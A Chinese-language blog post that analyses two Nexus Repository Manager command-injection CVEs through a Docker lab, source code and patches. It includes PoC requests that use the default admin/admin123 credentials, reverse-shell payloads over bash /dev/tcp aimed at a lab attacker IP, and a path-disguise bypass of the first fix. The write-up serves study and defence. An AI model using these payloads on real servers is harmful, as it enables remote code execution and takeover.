CVE-2019-5475 与 CVE-2019-15588 漏洞分析


0x10 漏洞背景

Nexus 的全称是 Nexus Repository Manager,是 Sonatype 公司推出的一个强大的仓库管理器,它极大地简化了内部仓库的维护和外部仓库的访问。

以往主要用之搭建 maven 私有仓库,但是随着社区更新不断迭代,它的功能不再局限于 maven,更是进一步覆盖了 nuget、docker、npm、bower、pypi、rubygems、git lfs、yum、go、apt 等私有仓库的搭建。

这次的 CVE-2019-5475 是 Nexus 关于内置插件 Yum Repository 的 RCE 命令注入漏洞,其最早被披露于 hackerone,但因官方第一次修复不完整,故又衍生出了 CVE-2019-15588 漏洞。

这两个漏洞都需要以 admin 身份登录后才可以利用,但是 nexus 默认管理员密码 admin123 经常被忽略修改,很容易就被利用了。

0x20 漏洞靶场

CVE-2019-5475
├── nexus-yum-core .......... [用于 debug 的 Maven 项目:模拟在 nexus GUI 输入 createrepo 或 mergerepo]
├── nexus ................... [Nexus 容器的数据挂载目录]
├── attacker ................ [攻击者机器的构建目录]
│   └── Dockerfile .......... [攻击者机器的 Docker 构建文件]
├── docker-compose.yml ...... [Docker 的构建配置]
├── imgs .................... [辅助 README 说明的图片]
└── README.md ............... [此 README 说明]

0x30 靶场搭建

  • 宿主机预装 docker 和 docker-compose
  • 下载仓库: git clone https://github.com/lyy289065406/CVE-2019-5475
  • 打开 Nexus 构建目录: cd CVE-2019-5475
  • 构建并运行 Nexus: docker-compose up -d
  • 约 5 分钟后可从浏览器访问 Nexus (BasicAuth 为 admin/admin123),其中:
Nexus CVE URL
2.14.9 CVE-2019-5475 http://127.0.0.1:8009/nexus
2.14.15 CVE-2019-15588 http://127.0.0.1:8015/nexus

此靶场还搭建了一台攻击机 172.168.50.2,处于与两台靶机相同的网络环境,其作用是用于验证反弹 shell

0x40 靶场验证

0x41 CVE-2019-5475

使用 admin 登录 http://127.0.0.1:8009/nexus/#capabilities,在 Administration -> Capabilities -> Yum: Configuration -> Settings 可以找到 RCE 注入点。

输入框 Path of "createrepo"Path of "mergerepo" 均可被注入,执行结果可以从 Status 查看。

例如在 createrepo 注入点构造 PoC bash -c id || python,即可从 Status 得到命令 bash -c id 的执行结果 uid=200(nexus) gid=200(nexus) groups=200(nexus)

通过 BurpSuite 可截获到对应 PoC 请求为:

PUT /nexus/service/siesta/capabilities/RANDOM_ID HTTP/1.1
Host: 127.0.0.1:8009
accept: application/json
Content-Type: application/json
Authorization: Basic YWRtaW46YWRtaW4xMjM=
Connection: close

{"typeId":"yum","enabled":true,"properties":[{"key":"createrepoPath","value":"bash -c id || python"}],"id":"RANDOM_ID"}

0x42 CVE-2019-15588

注入位置与 CVE-2019-5475 相同,调整 PoC 为: /bin/bash -c id || /createrepo

0x50 漏洞分析

通过阅读官方补丁的代码改动位置,可以大概分析到漏洞成因。

从官方第一次针对 CVE-2019-5475 发布的修复补丁可知关键代码类有两个:

public class YumCapability extends CapabilitySupport<YumCapabilityConfiguration> {

    public Condition activationCondition() {
        return conditions().capabilities().evaluable(
            new Evaluable() {
                @Override
                public boolean isSatisfied() {
                    ......
                    validate("createrepo", getConfig().getCreaterepoPath(), "[0.9.9,)", message, verificationLog);
                    validate("mergerepo", getConfig().getMergerepoPath(), "[0.1,)", message, verificationLog);
                    ......
                }

                private void validate(final String type, final String path,
                                      final String versionConstraint,
                                      final StringBuilder message, final StringBuilder verificationLog) {
                    ......
                    ByteArrayOutputStream baos = new ByteArrayOutputStream();
                    try {
                        if (commandLineExecutor.exec(path + " --version", baos, baos) == 0) {
                            ......
                        }
                    }
                    catch (IOException e) {
                        ......
                    }
                }
            }
        )
    }
}
public class CommandLineExecutor {

    public int exec(final String command, OutputStream out, OutputStream err) throws IOException {
        CommandLine cmdLine = CommandLine.parse(command);
        DefaultExecutor executor = new DefaultExecutor();
        executor.setStreamHandler(new PumpStreamHandler(out, err));
        int exitValue = executor.execute(cmdLine);
        return exitValue;
    }
}

不难解读其数据处理逻辑如下:

  • 在前端 GUI 输入框 Path of "createrepo" 输入的值会存储到 getConfig().getCreaterepoPath()
  • path = getConfig().getCreaterepoPath()
  • path 值会在 YumCapability.activationCondition() 内通过 validate() 进行校验
  • 其校验方法为在 path 末尾拼接字符串 --version,然后通过 CommandLineExecutor.exec() 执行
  • CommandLineExecutor.exec() 就是对系统命令调用的封装

显然这里存在命令注入漏洞,当我们在前端输入 ${INPUT} 时,会在系统执行命令 ${INPUT} --version

因此我们在靶场输入 bash -c id || python 时,相当于在系统执行命令 bash -c id || python --version

bash -c 目的是使用 bash 环境执行命令,有兴趣可以看下这篇文章关于 bash -c cmd_string 的解释

0x60 漏洞利用

接下来似乎就很好办了,参考我的这篇文章《各种语言一句话反弹shell》,不就可以很轻易地注入一个反弹 shell 么 :bash -i >&/dev/tcp/${IP}/${PORT} 0>&1

  • 登录靶场攻击机 172.168.50.2 : docker exec -it -u root docker_attacker /bin/bash
  • 利用 netcat 监听反弹: nc -lvvp 4444
  • Path of "createrepo" 输入框构造 payload:bash -c bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python

事实上这个 payload 并不能利用成功。

为了探究原因,这里需要进一步解读 Nexus 的源码(我把核心代码抽离到了 Maven 项目 nexus-yum-core,有兴趣可以用这个项目 DEBUG)。

Nexus 自己封装了一个系统命令执行类 CommandLineExecutor.java,这个类是对 apache 构件 commons-exec-x.y.jar 的简单封装。它调用了该构件的 CommandLine.parse(command) 方法,该方法使用 translateCommandline() 对输入的命令进行了拆解:

  • "(双引号)、'(单引号)、 (空格) 字符对命令字符串进行分割
  • 对于在 "(双引号) 或 '(单引号) 内的子串则认为是一个整体(即使引号内有空格),并先删除其原本的引号,再强制在子串两端追加双引号

例如:

输入 输出 备注
bash -c echo 111 String[] { bash-cecho111 } -
bash -c 'echo 111' String[] { bash-c"echo 111" } 注意 "echo 111" 的双引号并不是用来表示字符串的,
而是这个字符串两端真的有双引号 "

拆解后的命令字符串数组会被存储到 CommandLine.java 对象内,其中第 0 个子串作为命令脚本,后续所有子串作为该脚本的参数。

跟踪 DefaultExecutor.execute() 发现,CommandLine.java 最终在 Java13CommandLauncher.exec() 通过 toStrings() 被展开执行:

public Process exec(final CommandLine cmd, final Map<String, String> env, final File workingDir) throws IOException {
    final String[] envVars = EnvironmentUtils.toStrings(env);
    return Runtime.getRuntime().exec(cmd.toStrings(), envVars, workingDir);
}

显然,真正执行命令的主体就是 Runtime.getRuntime().exec(),需要注意,Runtimeexec() 方法重载了两种类型的参数,其使用方式是完全不同的(可参考这篇文章):

回看前面我们构造的 payload: bash -c bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python

实际上它被拆解为 String[] { bash-cbash-i>&/dev/tcp/172.168.50.2/44440>&1||python },切割出来的后面所有字符串都作为了 bash 的参数,当然无法执行成功了。

我们真正期望的 payload 应该是把 bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 整体作为 bash -c 的参数字符串。那么直接构造这样的 payload 又是否可行呢: bash -c "bash -i >&/dev/tcp/172.168.50.2/4444 0>&1" || python

很遗憾也是不可行的,前面分析 Nexus 代码的时候,提到了一个函数 translateCommandline(),它会把这种形式的命令拆解成:

String[] { bash-c"bash -i >&/dev/tcp/172.168.50.2/4444 0>&1"||python }

而我们期望应该拆解为(留意看第 2 个参数,作为整体字符串的同时两侧不能有双引号):

String[] { bash-cbash -i >&/dev/tcp/172.168.50.2/4444 0>&1||python }

那么现在的问题就是要想办法绕过 translateCommandline()bash -c cmd_string 的影响。有两种绕过选择:

  • (1)允许 cmd_string 被按空格完全拆解,但是在 Linux 层面依然可以正常执行
  • (2)使得 cmd_string 成为一个整体被携带到 Runtime.getRuntime().exec(String cmdarray[]) 又不会在其两端附加双引号

苦思无果,最后参考《绕过exec获取反弹shell》这篇文章得到答案,这两个思路其实都能做。

0x61 利用 Linux 语法特性

允许 cmd_string 被按空格完全拆解,但是在 Linux 层面依然可以正常执行

这里要利用 Linux 中三种语法特性:

  • echo 会以文本形式无条件打印其后所有参数(不管参数间是否有空格)
  • 在 shell 脚本中,特殊变量 $@(或 $*) 可以获得除了 $0(脚本路径)之外的所有脚本参数(即 $1$n
  • 管道命令 | 可以把前一个命令的输出作为后一个命令的输入

结合三者可以构筑一条像这样的命令:bash -c $@|bash any_script_path echo cmd_string

不妨分析一下这条命令的含义:

  • 经过前面分析,bash -c $@|bash 相信大家都很熟悉了,就是在 bash 环境执行命令 $@|bash,但是这个命令有点特殊,是 $@,即取脚本参数。
  • 此时 shell 就会解析后面的 any_script_path echo cmd_string,由于 $@ 只取脚本参数,于是脚本路径 any_script_path 就会被忽略,只取 echo cmd_string
  • 于是 $@|bash 就被解析为 echo cmd_string|bash,此时就变成了一条管道命令: echo 以文本形式输出了 cmd_string,然后作为 bash 的入参被执行了(可以理解为 echo 输出了一条命令 cmd_string 到一个临时的脚本文件,然后用 bash 执行了该脚本文件)

回到这次漏洞,只要令 any_script_path 为任意值(如 0),cmd_stringbash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python,我们就可以得到 payload :bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python

虽然它被按空格完全拆解,但是利用上述的 Linux 语法特性,是可以成功执行 bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 实现反弹 shell 的。

0x62 利用 Base64 编码

使得 cmd_string 成为一个整体被携带到 Runtime.getRuntime().exec(String cmdarray[]) 又不会在其两端附加双引号

是的,借用 Base64 编码就可以很巧妙地达到此目的,即令 cmd_stringBase64.encode(bash -i >&/dev/tcp/172.168.50.2/4444 0>&1),我们就可以构造这样的 payload :bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjUwLjIvNDQ0NCAwPiYx}|{base64,-d}|{bash,-i} || python

但这条 payload 只是理论上可行,因为它只能绕过 java 后端逻辑,无法绕过 nexus 前端校验,因此无法使用。

0x70 漏洞修复(不完整)

上述即为漏洞 CVE-2019-5475 原理,官方针对其发布了第一次修复补丁

改动的内容不多,核心改动的只有两个位置:

private String getCleanCommand(String command, String params) {
    if (allowedExecutables.contains(command)) {
      return command + " " + params;
    }

    File file = new File(command);

    if (file.getAbsolutePath().startsWith(applicationDirectories.getWorkDirectory().getAbsolutePath())) {
      LOG.debug("Attempt to execute command with illegal path {}", file.getAbsolutePath());
      return null;
    }

    if (!allowedExecutables.contains(file.getName())) {
      LOG.debug("Attempt to execute illegal command {}", file.getAbsolutePath());
      return null;
    }

    return file.getAbsolutePath() + " " + params;
}

先来解读一下这个方法:

  • 在前端 GUI 输入框 Path of "createrepo" 输入的 ${INPUT} 会作为入参 command 的值,而入参 params 的固定值就是 --version
  • 从上下文代码来看 allowedExecutables 是一个 Hash 表,其中只有两个元素: createrepomergerepo
  • applicationDirectories.getWorkDirectory().getAbsolutePath() 就是 Nexus 项目路径,可以认为是固定值 /sonatype-work

那么其逻辑就很清晰了:

  • (1) 先判断 ${INPUT} 是否为 createrepomergerepo 之一,若是则无需校验直接返回
  • (2) 然后通过 new File(command) 取得我们输入的命令脚本文件对象,目的应该是为了确保输入的 ${INPUT} 只能是有效的脚本文件路径
  • (3) 继而通过 file.getAbsolutePath() 检查这个脚本文件的路径是否在 Nexus 的工作目录内,目的应该是避免 webshell
  • (4) 最后通过 file.getName() 检查脚本的文件名是否为 createrepomergerepo 之一

综上来看,这段代码就是试图确保我们输入的命令脚本,必须是 createrepomergerepo,但是这两个脚本可以放在除了 /sonatype-work 目录外的任意路径。

0x80 漏洞二次利用

现在目标很明确了,我们构造的 ${INPUT} 必须是合法的文件路径,即满足(2),同时要绕过(1)(3)(4)。

先前的 payload: bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || python 是没办法绕过这几层校验的,但是我们只需要对它进行改造即可。

首先要使其可以被 new File() 识别,就要让它【看起来】是一个文件路径(不需要文件真正存在)。须知道 new File() 是允许路径中有空格的,而且 Linux 也允许文件名中有空格和特殊字符,那么就很好办了:在其开头加上 /bin/、其末尾修改为 /createrepo

于是 payload 就变成: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo。 它会被 new File() 解读为:

  • 一级目录: /
  • 二级目录: bin/
  • 三级目录: bash -c $@|bash 0 echo bash -i >&/
  • 四级目录: dev/
  • 五级目录: tcp/
  • 六级目录: 172.168.50.2/4444 0>&1 || /
  • 文件名: createrepo

此时 file.getAbsolutePath() 得到的就是 /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo,已经可以绕过(1)(2)(3)了。而 file.getName() 得到的是 createrepo,可以绕过(4)。

所以最终可以成功反弹 shell 的 payload 为: /bin/bash -c $@|bash 0 echo bash -i >&/dev/tcp/172.168.50.2/4444 0>&1 || /createrepo

0x90 漏洞修复

上述即为漏洞 CVE-2019-15588 原理,官方针对其发布了第二次修复补丁

这次修改改动不多,主要针对 CommandLineExecutor.getCleanCommand() 方法添加了 file.exists() 判断,即要求我们 ${INPUT} 输入的脚本文件路径必须是真正存在的:

if (!file.exists()) {
    LOG.debug("Attempt to execute command that doesn't exist {}", file.getAbsolutePath());
    return null;
}

至此这个注入点才算是真正被修复,不再轻易被绕过。

0xA0 参考资料


文章作者: EXP
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 EXP !
 上一篇
WSL2 迁移 Docker 镜像存储位置 WSL2 迁移 Docker 镜像存储位置
前言自从 Win 10 推出 WSL2 之后,Docker Desktop 就默认使用 WSL2 运行了,此时通过 Hyper-V 无法再设置 Docker 镜像的存储位置,而且 Docker Desktop 的镜像位置设置项也不见了。 这
2021-01-17
下一篇 
CVE-2020-13277 漏洞分析 CVE-2020-13277 漏洞分析
An authorization issue in the mirroring logic allowed read access to private repositories in GitLab CE/EE 10.6 and later through 13.0.5
2020-11-09
  目录